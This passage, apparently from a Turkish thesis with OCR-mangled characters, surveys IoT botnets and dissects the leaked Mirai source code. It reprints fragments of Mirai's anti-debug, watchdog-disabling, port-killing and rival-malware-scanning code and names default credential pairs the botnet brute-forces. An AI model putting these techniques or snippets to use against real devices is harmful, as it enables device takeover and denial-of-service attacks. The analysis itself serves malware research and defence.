Ik kez 2012 y1l1 mart ayinda bu botnetin varlig1 tespit edilmis, 2013 yilinda kimligini
aciklamayan bir yazar / yazar grubu tarafindan giivenlikle ilgili kurulan bir e-posta
grubunda yayinlanan raporla adin1 duyurmustur. Carna adi verilen botnet ile varsayilan

parolalar kullanilarak ele gecirilen 420 bin cihaz vasitasiyla, 24 saat igerisinde internet
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tizerindeki tiim IP adreslerinin taranabildigi iddia edilmistir [55]. Carna oturum agtig1
cihazlar iizerinde LightAidra’yi tespit etmekte ve LightAidra’ya ait dosyalar1 silmekte
ve kullanilan portlari kapatmaktadir [56].

2.1.7 Linux.Darlloz/Zollard

2013’te tespit edilmistir. x86, ARM, PPC, MIPS, MIPSEL mimarilerine sahip
islemciler barindiran yonlendiriciler ve glivenlik kameralarinda web tabanli kullanici
araylizli saglamak icin kullanilan PHP sayfalarindaki bir giivenlik a¢igini hedef
almistir [57]. Enfekte edilen cihaz {izerindeki Telnet trafigini kapatarak cihazlara
uzaktan erisimi engellemektedir. Enfekte edilen cihazlardaki LightAidra dosyalarim
silmekte ve bu zararli yazilimin kullandig1 portlari kapatmaktadir [58]. 2014 yili mart
ayindan itibaren tespit edilen versiyonlarinda enfekte edilen cihazlara kripto para

kazma yetenegi kazandirildigi gézlemlenmistir [59].

2.1.8 Linux.Wifatch

2014 yilinda ilk kez tespit edilmistir. Hizmet dis1 birakma saldiris1 diizenleme 6zelligi
yoktur. ARM, MIPS ve SH4 mimarili cihazlar1 hedef almaktadir. Kayitli parolalar
kullanarak cihazlar lizerinde oturum agarak cihazlari enfekte etmekte ve cihazlar esler
arast (peer to peer, P2P) bir aga dahil etmekte, cihazlar lizerindeki diger zararl
yazilimlar1 kapatmakta, Telnet protokoliinii kapatmakta ve cihazda “parolani degistir
ve cihazim giincelle” igerikli bir mesaj birakmaktadir [60]. Kaynak kodlar1 erisime

aciktir [61].

2.1.9 Spike/ Dofloo/MrBlack/Wrkatk/sotdas/AES.DDoS

2014 yili ortalarinda tespit edilmistir. MIPS ve ARM mimarili cihazlari etki altina
almistir. SYN flood, UDP flood, ACK-PUSH flood, HTTP Flood, TCP Xmas
saldirilarin1  yapabilme yetenegine sahiptir [62]. Kaynak kodlarina agik erisim
bulunmasa da saldirganlarca paylasildigi; 32-bit ve 64-bit Linux, Windows
bilgisayarlar1 da enfekte edebilen farkli versiyonlarinin iiretildigi diistiniilmektedir
[58]. Botnet iletisimi bot cihazlarla etkilesime gegen ayri bir komuta kontrol sunucusu

tarafindan yonetilir, IRC protokolii kullanilmaz [24].
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2.1.10 BASHLITE/Lizkebab/Torlus/gagfyt/gbot/LizardStresser

2014 yilinda tespit edilmistir. MIPS, MIPSEL, ARM, PPC, SuperH mimarili cihazlar
hedef almistir. Cihazlar {izerinde zararli yazilim i¢erisinde kodlanan 6 kullanici ad1 ve
14 parola kullanilarak cihazlarin Telnet portlarina erisilerek oturum agilmis ve
Busybox kaynakli bir bash shell zafiyeti kullanilarak cihazlar suistimal edilmistir [63].
SYN flood, UDP flood, ACK flood saldirilar1 diizenleme yetenegi vardir. Kaynak
kodlar1 internet iizerinde yaymlanmistir [64]. Kodlarinin yayinlanmasi farkli
versiyonlarinin ortaya ¢ikmasi siirecini hizlandirmistir. Spike zararl yazilim ailesine
benzer karakteristik 6zellikleri bulunmaktadir; ancak botnet iletisimi bot cihazlarla
etkilesime gegen ayr1 bir komuta kontrol sunucusu tarafindan yonetilmektedir, IRC
protokolii kullanilmaz. [24]. Mirai’nin karakteristik 6zellikleri dikkate alindiginda;
Bashlite’tan tiiretilmis bir botnet oldugu, Bashlite’in karmagik botnet yonetim
sistemini kolaylastiran ve Bashlite’tan daha hizl cihaz tarama 6zelligi kazandirilan bir

versiyon oldugunu sdylemek miimkiindiir [65].

2.1.11 Elknot/BillGates

2014 yili ekim aymnda tespit edilmistir. Cogunlukla Cin IP adresli saldirganlar
tarafindan kullanilmaktadir [66]. MIPS ve ARM mimarili cihazlart hedef almistir.
SYN flood, UDP flood, HTTP flood ve ¢esitli tipte TCP flood saldirilar1 diizenleme
yetenegi vardir. Botnet iletisimi bot cihazlarla etkilesime gegen ayr1 bir komuta kontrol
sunucusu tarafindan yonetilmektedir. Kaynak kodu yayinlanmadigindan tersine

miihendislik sonucu elde edilen bilgiler kisitlidir [24].

2.1.12 XOR.DDoS

2014 yili kasim ayinda tespit edilmistir. MIPS, ARM, PPC, SuperH mimarili cihazlari
hedef almistir. Elknot ile ayni Cin DDoS botnet ailesinden geldigi
degerlendirilmektedir ancak sadece SYN ve DNS flood saldir1 diizenleme yetenegi
vardir [66]. Botnet iletisimi bot cihazlarla etkilesime gegen ayr1 bir komuta kontrol
sunucusu tarafindan yonetilmektedir [24]. Ekim 2015’te bu botnet iizerinden
gergeklestirilen bir hizmet dis1 birakma saldirisinda saniyede 30 milyon sorguya erisen
bir DNS flood ile birlikte SYN flood saldir1 diizenlenerek 140 Gbps. boyutunda trafik
tiretilmistir [67].
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2.1.13 LUABOT

2016 yilinda tespit edilmistir. LUA programlama diline yazilan ilk zararli yazilimdir.
ARM mimarili cihazlart hedef aldig1 bilinmektedir. Tersine mithendislik sonucu elde
edilen veri yiiklerinde HTTP flood saldirisi diizenleme yetenegi oldugu goriilmiistiir.
Bu zararli yazilimin en ayirt edici 6zelligi igerisinde bulunan gémiilii bir JavaScript
motoru sayesinde Cloudfare ve Sucuri gibi DDoS korumasi tedbiri gelistiren
firmalarin tedbirlerini atlatabilmesidir [68]. Botnet iletisimi bot cihazlarla etkilesime

gegen ayri bir komuta kontrol sunucusu tarafindan yonetilmektedir [24].

2.1.14 KTN-RM/Remaiten

2016 yilinda tespit edilmistir. Tsunami ve Bashlite zararli yazilim ailelerinin bir
birlesimi oldugu degerlendirilmektedir. ARM, MIPS, PPC, SuperH mimarili
yonlendirici, ag gegidi, kablosuz erisim noktasi gibi gomiilil sistemleri hedef almistir.
Telnet taramasi yapmakta, kayith kullanici ad1 ve parola kombinasyonlarini deneyerek
cithazlar {lizerinde oturum ag¢maktadir. Basarili oturum acildig: takdirde cihazlara
mimari tiplerine gore c¢alistirilabilir kodlar yiiklenmke ve cihazlar enfekte
edilmektedir. Botnet iletisimi IRC protokolii ile saglanir [69]. SYN flood, UDP flood,
ACK flood, HTTP flood saldirilar1 diizenleme yetenegine sahiptir [24].

2.2 Mirai

Mirai ilk defa 20 Eyliil 2016 tarihinde KrebsOnSecurity isimli siber giivenlik konulu
bir blog sitesinin 620 GBps’ye ulasan boyutta dagitik hizmet dis1 birakma saldirisiyla
adin1 duyurmus duyurmus ve 25 Eylil 2016’da OVH barindirma firmasinin
sistemlerini hedef alarak 1 TBps boyutunda zararli trafik yaratmis [4], bir ay sonra
Dyn’e gergeklestirilen saldirida ulasilan 1.2 TBps boyut ile kendi tiiriinde o giine kadar
diizenlenen en biiyiik boyuttaki saldir1 olarak literatiire gecmistir. Dyn bu saldiriya
katilan ug¢ sistem sayisinin 100.000 civarinda oldugunu duyurmustur [5]. Mirai’yi
kodlayan kisilerin kaynak kodlarini1 paylagsmasiyla yeni versiyonlari ortaya ¢ikmistir
[6]. 03 Kasim 2016’da Bat1 Afrika iilkesi Liberya’nin iletisim altyapisi Mirai’nin bir
tiirevi tarafindan hedef alinmis [4], 27-29 Kasim 2016 tarihleri arasinda Zyxel ve
Speedport markali yonlendiricilerde bulunan bir agikligi somiirerek bu cihazlar

enfekte etmeye calisan bir Mirai tlirevinin cihazlar islevsiz hale getirmesi sebebiyle
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Alman internet servis saglayicisi Deutsche Telekom firmasinin yaklasik 900.000

miisterisinin internete erisimi engellenmistir [7].

Mirai zararli yaziliminin orijinal versiyonunun kaynak kodu incelendiginde kodlarin
lic ayr1 boliimde (Bot, Loader, CNC) toplandigi, Bot ve Loader béliimlerinin C dili,
CNC bolimiiniin ise Go dili ile yazildig1 goriilmektedir [70]. Kaynak kodlar1 igerisinde
onaltil1 sayilar ile kodlanmis ve root:root, admin:root, guest:guest vb. yaygin sekilde
kullanilan 60 farkli kullanic1 adi:parola ¢ifti kayithdir. Igerisinde bulunan scanner
isimli modiil ile rastgele IP adresleri liretmekte, iiretilen adresleri ABD Savunma
Bakanligi vb. bir kisim organizasyonlarin IP adreslerini igeren bir kara listeyle
kiyaslayarak bu organizasyonlar1 kapsam disinda birakmaktadir [71]. Uretilen IP
adresinin 23 ve 2323 portlarina baglanti talebi gondererek Telnet protokolii agik mi1
kontrol edilmekte, acik oldugu takdirde kayitli parola ¢iftlerini kullanarak komut
satirindan kaba kuvvet saldirisi yapilarak Telnet baglantis1 kurulmakta, oturum agma
bilgileri 6nce raporlama sunucusuna, ardindan yiikleyici adi verilen bir sunucuya
gondermektedir. Yiikleyici tarafindan cihaza yiiklii BusyBox uygulamasi somiiriilerek
onceden hazirlanmig ikili kodlar cihaza yiiklenmekte ve cihaz kole agina dahil
edilmektedir [72]. Kole agma dahil edilen cihazlar tizerinden hedef 6riin sitelerine
DNS flood, SYN flood, ACK flood, PSH flood, HTTP flood teknikleri ile dagitik
hizmet dis1 birakma saldiris1 yapabilmek miimkiindiir. Mirai ve tiirevleri tarafindan ele
gegirilen cihazlar arasinda su ana kadar yonlendiriciler, dijital video kaydediciler, IP

kameralar ve yazicilar bulunmaktadir [73].

2.3 Mirai Sonrasi 10T Botnetler

Mirai’nin kaynak kodlarinin yayinlanmasindan sonra kotii niyetli kisilerce
gelistirilerek kullanilmasina devam edilmistir [74]. Mirai’nin kaynak kodlariin
yaymlanmasi onu adeta bir zararli yazilim sablonu haline getirmistir [75]. Isletilen bal
kiipii tuzaklarinda 371 farkli parola ve 1028 farkl ikili kodun ele gegirilmesi, farkli
portlar ve protokoller ilizerinden baglant1 taleplerinin tespiti Mirai’nin evrimlesme
hizinin bir gostergesidir [32]. 2018 yilinda tespit edilen zararl trafigin %78’ini
nesnelerin interneti kapsaminda bulunan, ele gecirilmis cihazlarin olusturdugu kole
aglarin meydana getirdigi ve bu aglan olusturan zararli yazilimlarin en az %35

oraninda Mirai ile benzer kaynak kodlar1 kullandig1 tespit edilmistir [76]. 2019 yil1
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mart ay1 itibariyle Mirai ardili zararli yazilimlar ¢esitli agikliklar1 somiirmenin yani
sira varsayilan parola kullanima yonelik kaba kuvvet saldiris1 yapmaya ve diger
cihazlara ilave olarak akilli TV ve sunum sistemlerini hedef almaya devam etmistir
[8]. 2019 yili nisan ay1 itibariyle Huawei ve Linksys markali yonlendiriciler Mirai
zararli yazilimmin evrimlesmis versiyonlarinca siber saldirtya ugramis ve bu

saldirilarda eski tarihli agikliklar da somiiriilmdstiir [77].

2.3.1 NewAidra/Linux.IRCTelnet

2016 yilinda Mirai ile ayn1 donemde tespit edilmistir. Tersine miihendislik analizi
sonucunda Aidra kodlari, Remaiten benzeri IRC tabanli bir iletisim protokolii, Bashlite
benzeri bir tarama ve enfeksiyon mekanizmasi, Mirai ile ayni kullanic1 adi:parola
ciftleri ile kaba kuvvet saldiris1 yapma ozellikleri tespit edilmistir. Bu bulgular gz
oniinde bulunduruldugunda bilinen IoT botnet saldirilarinin bir karigimi oldugunu

soylemek miimkiindiir. IPv6 protokoliinii de desteklemektedir [78].

2.3.2 Hajime

2016 yili ekim ayinda tespit edilmistir. Mirai’den daha sofistike bir zararli yazilim
oldugu degerlendirilmektedir. Mirai ile birebir ayni enfeksiyon mekanizmasini
kullanmaktadir; 23 numarali portu agik cihazlari tespit ederek Telnet baglantisi
kurmakta, Mirai ile ayn1 kullanici adi:parola sézliigiinii kullanarak cihazlar iizerinde
oturum a¢maktadir. Ancak herhangi bir hizmet dis1 birakma saldiris1 diizenleme veya
komuta kontrol sunucusu ile iletisim yetenegi yoktur. Aksine 23, 7547, 5555, 5358
portlarin1 kapatarak Mirai gibi diger zararli yazilimlarin cihazlari enfekte etmesini
engellemekte ve diger botnet liyeleriyle P2P iletisim kurmaktadir. Enfekte edilen
cihaza “Just a white hat” ile baslayan ve “Hajime Author” imzasiyla sona eren bir
mesaj kaydetmektedir [79]. Saldir1 modiilii icermemesi sebebiyle Linux.Wifatch
benzeri “iyi niyetli” amagla gelistirilmis olabilecegi degerlendirilse de bu durum
Hajime’nin bir botnet olusturdugu gercegini degistirmedigi gibi bir donem Mirai ile
Hajime arasinda nesnelerin interneti cihazlarini domine etme miicadelesi yasanmistir

[80].
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2.3.3 Amnesia

2017 yilinda tespit edilmistir. Tsunami zararli yazilimimin bir versiyonu oldugu
degerlendirilmektedir. TVT Digital tarafindan tretilen ve 70 farkli marka altinda
diinyada satilan bir dijital video kaydedicide bulunan uzaktan kod yiiriitme agikligini
hedef almistir. Tiirkiye de dahil olmak {izere bir ¢ok iilkede toplam 227.000 cihaz1
etkiledigi diisliniilmektedir. Sanal makine ve sandbox iizerinde g¢alistirllmamasina
yonelik tedbirler iceren ilk Linux zararli yazilimidir. Bot cihazlarin komut kontrol
sunucusu ile iletisimleri IRC protokolii ile gergeklestirilmektedir. HTTP flood ve UDP

flood saldirilar1 diizenleme yetenegi bulunmaktadir [81].

2.3.4 Satori

2017 yili aralik aymnda tespit edilmistir. Realtek ve Huawei HG532 model
yonlendiricilerin aygit yazilhminda UPnP (Universal Plug and Play) servisi isleyen
boliimde bulunan bir agiklig1 somiirerek cihazlari ele gecirmektedir. Enfekte edilen

cihazlarin iletisimi ve saldirt mekanizmasi Mirai ile ¢ok benzemektedir [82].

2.3.5 Okiru

2018 y1l1 Ocak ayinda tespit edilmistir. Satori’den gelistirildigi degerlendirilmektedir.
Ancak Okiru ARC islemcili cihazlar1 hedef aldigindan daha genis bir etki alanina
sahiptir, ARC mimarili islemcileri hedef alan ilk botnet’tir. Satori zararli yazilimi
icerisinde bulunan “Okiru” isimli dosyalar aralarinda bir baglanti oldugunun

degerlendirilmesine neden olsa da hedef aldig1 agikliklar Satori’den farklidir [83].

2.3.6 Brickerbot

2017 yilinda tespit edilmistir. Mirai ile benzer bir sekilde hedef aldig1 cihazlarla Telnet
baglantis1 kurmakta ve kayitli kullanici adi:parola ciftlerini kullanarak cihazlar
iizerinde oturum a¢maktadir. Cihaz {zerinde oturum agildiginda Busybox
bilinyesindeki Linux komutlarindan faydalanarak cihaz iizerinde kayitli dosyalarn
silmekte, internet baglantisin1 engellemekte ve cihazi kalic1 olarak g¢alismaz hale
getirmektedir. Enfekte ettigi cihaz iizerinde herhangi bir dosya indirme islemi vb.
yapmamaktadir. Bu sebeple zararli yazilimin oturum a¢gma amaciyla kullandigi

kullanici ad1 ve parolalarin tamami bilinmemektedir [84].
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2.3.7 Shinoa

2018 yilinda tespit edilmistir. Tarama ve enfeksiyon mekanizmasi Mirai ile aynidir.
Mirai’de bulunan DNS flood, TCP stomp flood ve HTTP flood vektorlerinin
cikarilldigi, yerine XMAS flood (tiim TCP bayraklarinin set edilerek gonderilmesi),
LYNX flood (RST ve FIN disindaki tiim TCP bayraklarinin set edilerek gonderilmesi)
saldirt vektorlerinin eklendigi goriilmiistiir. Zararli yazilimin komuta kontrol
sunucusunda olusturulan veri tabaninin adinin “miori” oldugu tespit edilmistir.

Dolayisiyla Shinoa ve Miori arasinda iligki bulundugu degerlendirilmektedir [85].

2.3.8 Miori

2018 yil1 aralik ayinda tespit edilmistir. Kayith parola ve kullanici ad1 ¢iftleriyle kaba
kuvvet oturum acgilmasimin yanisira Cin menseili agik kaynak php platformu olan
ThinkPHP’de bulunan bir uzaktan kod yiiriitme zafiyetini somiirerek cihazlar ele
gecirmekte, enfekte edilen cihazlarda Telnet’i baslatarak bagka IP adresleri ile iletisim

kurmaya ¢alismaktadir [86].

2.4 Tiirkiye’de Botnet Saldirilar:

10 Haziran 2019 tarihinde yapilan sorgulamalarda diinya ¢apinda Mirai tarafindan
baglanti kurmak icin taranan 23 numarali portu agik ve icerisinde Busybox
uygulamasi kurulu toplam 6.132.907 cihaz bulundugu ve bunlarin 126.903 adedinin
Tiirkiye lokasyonlu oldugu goriilmiistiir [10]. Mirai komuta kontrol sunucularinin
destekledigi protokoller, dosya yapisi ve parmak izi dikkate alinarak yapilan
sorgulamalarda halen faal durumda olan yaklagsik 1000 sunucunun oldugu ve bunlarin

yarisinin ABD’de, 2 tanesinin Tiirkiye’de bulundugu goriilmiistiir [11,12].

Tiirkiye lokasyonlu oriin sitelerine 10T botnetler tarafindan yapilarak raporlanmis bir
saldir1 bulunmamaktadir. Ancak Mirai vb. botnetlere bagli cihazlarin IP adresleri
analiz edildiginde ¢ok sayida Tiirkiye lokasyonlu cihazin ele gecirelerek saldirilarda

kullanildig1 bilinmektedir.

Giivenlik arastirmacilart tarafindan 21 Eyliil 2016 Krebs on Security saldirisina
katildig1 degerlendirilen cihazlarin iilkelere gore sayilar1 Cizelge 2.1°te sunulmus olup

Tiirkiye’den 13.780 cihazin bu saldiriya katildigi degerlendirilmektedir. [32].
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Cizelge 2.1 : KrebsOnSecurity saldirisina katilan cihazlarin tilkelere gore sayilar.

Ulke adi Cihaz sayist Toplamysi?zy(;elsg:ierlsmde
Brezilya 49.340 % 15.0
Kolombiya 45.796 % 14.0
Vietham 40.927 % 12.5
Cin 21.364 % 6,5
Giiney Kore 19.817 % 6.0
Rusya 15.405 % 4.7
Tirkiye 13.780 % 4.2
Hindistan 13.357 % 4.1
Tayvan 11.432 % 3.5
Arjantin 7.164 % 2.2

2017 yilinda tespit edilen Amnesia botneti TVT markal1 dijital video kaydedicilerde
bulunan bir ac¢ikligr hedef almis ve yaklasik 227.000 cihazi etkilemistir. Tiirkiye en
fazla agikliga sahip cihaz sayisi bakimindan Tayvan, ABD ve Israil’in ardindan
dordiincii  sirada  bulunmaktadir ve 11780 =zafiyetli cihazin bulundugu

degerlendirilmektedir [81].
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3. MIRAI ZARARLI YAZILIMI

Bu béliimde Mirai’nin mantiksal yapisi analiz edilmis, internet lizerinde yayinlanan
kaynak kodlar1 incelenmis [70]; tarama, bulagma, saldiri, kKomuta kontrol sunucusu ile

iletisim mekanizmalar1 detayli bir sekilde analiz edilmistir.

3.1 Mirai Zararh Yazihmimin Mantiksal Yapisi

Mirai zararl yazilimi; igerisinde kodlanan 60 farkli kullanici adi- parola ¢iftini Telnet
protokoliinii destekleyen 10T cihazlarinda deneyerek bu cihazlarda oturum agmayi
hedefler. Cihaz iizerinde oturum acildig1 takdirde cihazin islemci mimarisi dikkate
alinarak icerisine zararl ikili (binary) kod yiiklenir ve cihaz botnete katilir. Botnet
yoneticisi (botmaster) veya onun yetkilendirdigi kullanicilar tarafindan belirlenen 6riin
sitesine istenen tipte dagitik hizmet dis1 birakma saldiris1 gerceklestirilir. Botnet
yoneticisi ve kullanicilarin botnet ile etkilesimleri komuta kontrol sunucusu tarafindan
gerceklestirilir. Botnete bagli cihazlarca taranan IP adreslerinden elde edilen zafiyetli
cihaz bilgileri raporlama sunucusuna gonderilir. Bu bilgiler raporlama sunucusundan
yiikleme sunucusuna iletilir ve yiikleme sunucusu tarafindan zafiyetli cihaza ikili kod
yiiklenerek cihazin botnete dahil edilmesi saglanir. Mirai zararli yaziliminin mantiksal

yapisi Sekil 3.1°de verilmistir.

(- jo_ww) f
[ ] [ =] B Ynetici
=) lGnetici
G ) =]
g Raporlama Komuta Kontrol Kullan
Yikleme (Loader) Sunucusu . SunuFUf\{ ve VT T Rallanialar
Sunucusu

@a@’é
ae,, wy
==

Nesnelerin interneti Cihazlan

Sekil 3.1 : Mirai zararh yaziliminin mantiksal yapist.
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3.2 Mirai Zararh Yazihminin Kaynak Kodlarinin Analizi

Mirai zararli yaziliminin internet {izerinde yayinlanan kaynak kodlar1 incelendiginde
iki ana dizinden olustugu (loader, mirai) goriilmektedir. Mirai dizini i¢erisindeyse bot,
cnc ve tools dizinleri bulunmaktadir. Bot dizininde enfekte edilmis cihaz tlizerinde
calistirilan kodlar, cnc dizininde komuta kontrol sunucusunda galistirilan kodlar,
loader dizininde hedef cihaza ikili kod yiikleyecek sunucuda ¢alisan kodlar ve islemci
mimarisine gore derlenmis bot kodlari, tools dizininde yardimci uygulamalar
bulunmaktadir. Bot ve loader dizinlerindeki dosyalarin kaynak kodlarimin C, cnc
dizinindeki dosyalarin kaynak kodlarinin Go dili ile yazildig1 goriilmektedir. Mirai
kaynak kodu toplamda 63 dosya ve on iki binden fazla sayida satirdan olugmaktadir,
Mirai dosya dizin yapis1 Sekil 3.2’de sunulmustur. Konu biitiinliigiinii saglamak
amaciyla sirasiyla bot, cnc, loader ve tools boliimlerindeki kaynak kodlarin analizi

gerceklestirilmistir.

Mirai
Source Code

v !
loader mirai

B |
! } . ' :

sre bins bot cnc tools

Sekil 3.2 : Mirai kaynak kodu dizini.

3.2.1 Bot

Bot dizini enfekte edilmis cihaz lizerinde c¢alisarak cihazin bir bot iyesi gibi
davranmasini saglayan fonksiyonlar1 barindiran kaynak kodlar1 icermektedir. Komuta-
kontrol, raporlama vb. sunucu adres bilgileri tables.c {izerinde sifreli olarak kayitlidir.
Zararl yazilim main.c dosyasi ile baglatilmakta ve hedef adresi iiretme, saldirma gibi
temel fonksiyonlar bu dizin altindaki diger dosyalar vasitasiyla gerceklestirilmektedir.
Cihaz tizerinde ¢alisan gbot, remaiten, zollard zararli yazilimlarini tespit ederek silme

ve Mirai’'nin ¢alisan daha yeni bir versiyonu tespit edilirse o anki calisan Mirai
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ornegini kapatma iglemleri yine bu dizinde kayith modiiller ile ger¢eklestirilmektedir.
Konu biitiinliigiiniin saglanmasi amaciya sirasiyla bot baslatimi, 6ldiirme modiili,

tarama modiilii ve saldirt modiilii incelenmistir.

3.2.1.1 Bot baslatin

Enfekte olan bir cihazin bot olarak baslatimini main.c dosyasi gerceklestirir. Mirai
cihaz tizerinde bellekte ¢alisir, baslattig1 siireglerin isimlerini degistirirek gizleme
(obfuscation) yapar. Komuta kontol sunucusuyla baglantinin kurulmasindan bu dosya
sorumludur. Ayrica scanner init(), attack init(), kill init() ile tarama, saldirma ve

sonlandirma siireclerini arka planda etkinlestirir.

Main.c baslatildiginda siire¢ isimlerini gizledikten sonra BusyBox uygulamasini
kullanan cihazlarda cevap vermeme / donma gibi durumlarda cihazin yeniden
baslatilmasint saglayan watchdog uygulamasma ping atarak cihazin yeniden
baslatimini engeller. Mirai baslatildiginda TCP 48101 portunu kontrol eder, kapaliysa
acar. Ik kontrolde bu portun agik olmasi cihazda halen ¢alisan bir Mirai uygulamasi
oldugunu bildirir, bu durumda kill request gondererek portla iligkili process’i
sonlandirir. Gdb debug yapildigini tespit ederse calistirilabilir dosyayi siler. Anti-
debug ve anti-reboot fonksiyonlara dair bir kisim kaynak kodlar Sekil 3.3’de

gosterilmistir.

main.c

56 #ifndef DEBUG

57 sigset_t sigs;

58 int wfd;

59

60 // Delete self

61 unlink(args[@]);

62 // Signal based control flow

64 sigemptyset(&sigs);

65 sigaddset(&sigs, SIGINT);

66 sigprocmask(STIG_BLOCK, &sigs, NULL);
67 signal (SIGCHLD, SIG_IGN);

68 signal (STGTRAP, &anti_gdb_entry);

78 // Prevent watchdog from rebooting device

71 if ((wfd = open("/dev/watchdog", 2)) != -1 |
72 (wfd = open("/dev/misc/watchdog™, 2)) != -1)
73 {

74 int one = 1;

75

76 ioctl(wfd, @x80845704, Rone);

77 close(wfd);

78 wfd = 8;

79 }

80 chdir("/");

Sekil 3.3 : Anti-debug ve anti-reboot tedbirlerine dair bir kisim kaynak
kodlar.
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Komuta kontrol sunucusunun adresi IP olarak degil etki alani (domain) adi olarak
yazilim igerisine sifrelenerek kodlanmistir. Etki alan1 adin1 ¢6ziimleyerek bot-C&C
iletigimini kurar. 00 00 00 int (int >0) ile baslayan bir paket iireterek sunucuya
gonderir, sonrasinda sunucudan paket bekleyen sonsuz bir dongiiye girer, iletisimi
kontrol etmek i¢in sunucuya ping atar. Arastirmacilar1 yanlis yonlendirmek amaciyla
65.222.202.53 TP adresi (include.h iginde tanimli) main.c igerisinde
FAKE CNC _ADDR sabiti ile refere edilmistir, arastirmacilarin bu adrese baglanti
kurmaya caligsarak IP adreslerini agik edecekleri diisiiniilerek boyle bir tedbir alindigi
degerlendirilmektedir. C&C sunucusuna erisimde etki alan1 adi kullanimi sayesinde
komuta kontrol sunucusunun IP adresi degisse dahi bot-C&C iletisimi siirdiiriilebilir
clinkii ileride anlatilacag lizere bot haline gelmis cihazlar komuta kontrol sunucusuna
ilk erisimde DNS protokoliinden faydalanmaktadir. Bu durum komuta kontrol
sunucusunun ifsa olmasi halinde ayni etki alani adina sahip olmak kaydiyla bagka bir
IP adresli sunucuya tasiarak botnetin yonetimini miimkiin kilar. Bot cihazin durum
diyagrami Sekil 3.4’de sunulmus olup her bir durumda icra edilen faaliyetler miiteakip

boliimlerde detayli olarak ele alinmustir.

Komuta
Kontrol
Sunucusuna
Ping at

DDoS
Saldirisi Yap

Yeni
cihazlar bul

Sirekli ping
at

internet baglantin varsa,

Komuta kontrol
sunucusundan komut
al

Durum
Degisikligi

Dis sinyal

\V

NOP

Sekil 3.4 : Bot cihazin durum diyagrama.

3.2.1.2 Oldiirme modiilii

Oldiirme (killer) modiilii killer.c ve killer.h dosyalarina kodlanmistir. Mirai basarryla
cihaz iizerine yiiklendiginde killer modiilii calistirilir. Oncelikle 22 (ssh), 23 (telnet)
ve 80 (http) portuna bagl ¢alisan process’ler kapatilarak bu portlardan cihaza erigim
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engellenir. Ayrica bu portlar rezerve edilerek process’lerin tekrar baslatimi engellenir.
Bu islemle cihaz sahibinin cihazina uzaktan erisiminin ve cihazin yeniden
baslatilmasinin engellenmesinin amaglandig1 degerlendirilmistir. Cihaz {izerinde gbot
(bashlite), remaiten, darlloz (zollard) ve anime (kami) zararli yazilimlarma dair
kalintilar ve process’ler bellek igerisinde aranir ve tespit edilenler silinir. Bu sayede
Mirai disinda bagka bir zararli yazilimin cihaz {izerinde ¢alismasi engellenir. Bu islem
belirlenmis zaman araliklarinda tekrarlanir. S6z konusu fonksiyonlara dair bir kisim

kaynak kodlar Sekil 3.5’de gdsterilmistir.

Eiller.c

B6 // Kill HTTP service and prevent it from restarting

87 #ifdef KILLER REBIND HTTP

g3 if (killer kill by port(htons(80)))

89 {

90 #ifdef DEBUG

91 printf("[killer] Killed tcp/80 (http)\n");

52 #endif

93 }

94 tmp bind addr.sin port = htons(80);

95

9€ if ((tmp_bind fd = socket (AF_INET, SOCK_STREAM, 0)) != -1)
s7 {

93 bind(tmp _bind fd, (struct sockaddr *)s&tmp bind addr, sizeof (struct
sockaddr_in));

99 listen(tmp _bind fd, 1);

100 }

101 #ifdef DEBUG

102 printf ("[killer] Bound to tep/80 (http)\n");

103 #endif

474 while ((ret = read(fd, rdbuf, sizeof (rdbuf))) > Q)

475 {

476 if (mem exists(rdbuf, ret, m gbot report, m gbot len) ||
477 mem exists(rdbuf, ret, m gbot http, m gbotZ len) ||
478 mem exists(rdbuf, ret, m gbot dup, m gbot3 len) ||
479 mem exists(rdbuf, ret, m upx str, m upx len) ||
480 mem exists(rdbuf, ret, m zollard, m zollard len))
481 {

482 found = TRUE;

483 break;

4584 }

485 1

Sekil 3.5 : 80 portunu kapatan ve bellekte zararli yazilim tarayan fonksiyon.

3.2.1.3 Tarama modiilii

Tarama (scanner) modiilii scanner.c ve scanner.h dosyalarina kodlanmigtir. Mirai
cihaz tizerinde baslatildiginda yayilmak i¢in baska hedefler aramaya baslar. Tarama
islevi baslatildiginda ana fonksiyondan fork() ile ayrilip ayr1 bir thread olarak devam
eder. Tarama islemi i¢in cihaz iizerinde ham soket olusturulmaktadir. Linux

sistemlerde ham soket olusturmak i¢in root yekisinde olunmasi gerektiginden cihaz
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root disinda bagka bir hesap ile acildiysa bu cihazdan baska bir cihaza yayilmak
mimkiin degildir. Scanner_connection 6zel (custom) veri yapisini tutan liste
incelendiginde ayni anda 128 baglantiya izin verildigi goriilmektedir. Hedeflere
gonderilen her paket bu listedeki veriyi kullanmakta ve her bir veri asama asama
giincellenmektedir. Hedef ile gergeklestirilen baglantinin durumu anlik olarak bu liste

iizerinde tutulur. Scanner connection veri yapisinin kaynak kodlar1 Sekil 3.6’da

gosterilmistir.
scanner.h
25 struct Scanne:_ccnnection {
26 struct scanner_auth *auth;
27 int fd, last_recv;
28 enum {
29 SC_CLOSED,
30 SC_CONNECTING,
31 SC_HANDLE IACS,
32 SC_WAITING_USERNAME,
33 SC_WAITING_PASSWORD,
34 SC_WAITING_ PASSWD RESP,
35 SC_WAITING_ENABLE RESP,
36 SC_WAITING_SYSTEM RESP,
37 SC_WAITING SHELL RESP,
38 SC_WAITING SH RESP,
39 SC_WAITING TOKEN_ RESP
40 } state;
41 ipv4_t dst_addr;
42 uintlé_t dst port;
43 int rdbuf pos;
44 char rdbuf [SCANNER RDBUF_SIZE];
45 uint8 t tries;
46 };

Sekil 3.6 : Scanner connection 6zel veri yapisinin kaynak kodlar1.
IP adresi iiretme

Mirai igerisinde rastgele say1 liretmek amaciyla rand.c igerisinde bulunan ve Sekil
3.7°de kaynak kodlar1 sunulan rand next() fonksiyonundan faydalanilmistir. Tarama
yapilacak IP adresleri get random ip() fonksiyonuyla iiretilmekte ve bu fonksiyon

rastgele say1 liretirken rand_next() fonksiyonunu kullanmaktadir.

rand.c

13 void rand_init(void)

14 {

15 X = time (NULL) ;

16 y = getpid() " getppid();
17 z = clock();

18 w=2z"y;

19 }

20

21 uint32_t rand next(void) //period 2796-1
22 {

23 uint32_t t = x;

24 t "=t << 11;

25 t *=t >> 8;

26 X=Y¥Y; Y=2; 2 =W;

27 w "= w >> 19;

28 w "=t

29 return w

30 }

Sekil 3.7 : Rand_next() fonksiyonunun kaynak kodlar1.
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Kaynak kodlar1 incelendiginde General Electric, Hewlett-Packard, ABD Posta
Hizmetleri, yerel ag adresleri, multicast adresler ve ABD Savunma Bakanlig1 IP
